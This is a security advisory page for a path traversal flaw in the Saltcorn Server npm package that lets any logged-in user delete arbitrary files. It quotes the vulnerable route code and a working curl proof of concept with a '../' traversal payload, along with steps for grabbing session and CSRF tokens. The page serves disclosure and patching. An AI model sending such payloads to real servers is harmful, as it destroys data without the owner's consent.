High

Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability

  • Disclosed: 07.10.2024
  • Updated: 11.10.2026 10:22

Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details

js
router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);

PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

  • create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
  • log with a user and retrieve valid connect.sid and _csrf values***
  • send the following curl request
bash
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
  • check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:

  • log in
  • open the browser developer console, go to the Network tab filter for settings request
  • visit http://localhost:3000/auth/settings
  • trigger the change password functionality
  • under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command

Impact

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @saltcorn/server < 1.0.0-beta.16 1.0.0-beta.16

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-22
Platform
npm
Package
@saltcorn/server
Disclosed
07.10.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-43f3-h63w-p6f6 - CC BY 4.0

Vulnerability history: @saltcorn/server

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
10.2024 04.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 3
  • Medium 4

Disclosures per year

  1. 2024: 5
  2. 2025: 0
  3. 2026: 4
Severity:
  1. Critical · 9.9 CVE-2026-41478 < 1.4.6, >= 1.5.0-beta.0, < 1.5.6, >= 1.6.0-alpha.0, < 1.6.0-beta.5 1.4.6, 1.5.6, 1.6.0-beta.5
  2. High · 8.2 CVE-2026-40163 < 1.4.5, >= 1.5.0-beta.0, < 1.5.5, >= 1.6.0-alpha.0, < 1.6.0-beta.4 1.4.5, 1.5.5, 1.6.0-beta.4
  3. Critical · 9.6 ghsa-cr3w-cw5w-h3fj >= 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19
  4. Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability this entry
    High · 6.5 CVE-2024-47818 < 1.0.0-beta.16 1.0.0-beta.16

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.